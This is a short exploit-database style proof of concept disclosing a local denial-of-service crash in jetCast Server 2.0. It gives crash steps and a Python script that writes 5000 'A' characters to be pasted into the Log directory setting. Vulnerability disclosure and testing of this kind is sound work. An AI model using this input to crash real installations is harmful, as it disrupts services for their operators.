#Exploit Title: jetCast Server 2.0 - Denial of Service (PoC) #Discovery by: Victor Mondragón #Discovery Date: 2019-05-09 #Vendor Homepage: http://www.jetaudio.com/ #Software Link: http://www.jetaudio.com/download/5fc01426-741d-41b8-a120-d890330ec672/jetAudio/Download/jetCast/build/JCS2000.exe #Tested Version: 2.0 #Tested on: Windows 7 Service Pack 1 x64 #Steps to produce the crash: #1.- Run python code: jetCast_Server_2.0.py #2.- Open jetCast.txt and copy content to clipboard #2.- Open jetCast Server #3.- Select Config #4.- In "Log directory" Paste ClipBoard #5.- Click on "Ok" #6.- Click on "Start" #7.- Crashed cod = "\x41" * 5000 f = open('jetCast.txt', 'w') f.write(cod) f.close()